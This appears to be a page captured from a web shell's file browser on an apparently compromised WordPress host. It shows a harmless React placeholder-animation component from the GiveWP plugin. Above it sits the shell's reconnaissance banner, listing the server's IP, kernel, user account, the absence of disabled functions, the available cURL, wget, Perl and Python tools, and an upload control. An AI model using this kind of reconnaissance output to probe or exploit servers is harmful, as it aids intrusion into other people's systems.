| Server IP : 192.158.238.246 / Your IP : 18.219.166.24 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/7779/task/7779/cwd/plugins/give/blocks/components/placeholder-animation/ |
Upload File : |
/**
* Internal dependencies
*/
import './style.scss';
const PlaceholderAnimation = () => {
return (
<div className="placeholder-animation">
<div className="timeline-wrapper">
<div className="timeline-item">
<div className="animated-background">
<div className="layer label layer-4">
<div className="layer-item"></div>
<div className="layer-item opaque"></div>
<div className="layer-item opaque"></div>
<div className="layer-item"></div>
<div className="layer-item opaque"></div>
</div>
<div className="layer-gap small"></div>
<div className="layer h2 layer-5">
<div className="layer-item"></div>
<div className="layer-item opaque"></div>
<div className="layer-item opaque"></div>
<div className="layer-item"></div>
<div className="layer-item opaque"></div>
</div>
<div className="layer-gap medium"></div>
<div className="layer label layer-6">
<div className="layer-item"></div>
<div className="layer-item opaque"></div>
</div>
<div className="layer-gap small"></div>
<div className="layer h2 layer-7">
<div className="layer-item"></div>
<div className="layer-item opaque"></div>
</div>
<div className="layer-gap medium"></div>
<div className="layer-gap medium"></div>
<div className="layer h1 layer-8">
<div className="layer-item opaque"></div>
<div className="layer-item"></div>
<div className="layer-item opaque"></div>
</div>
</div>
</div>
</div>
</div>
);
};
export default PlaceholderAnimation;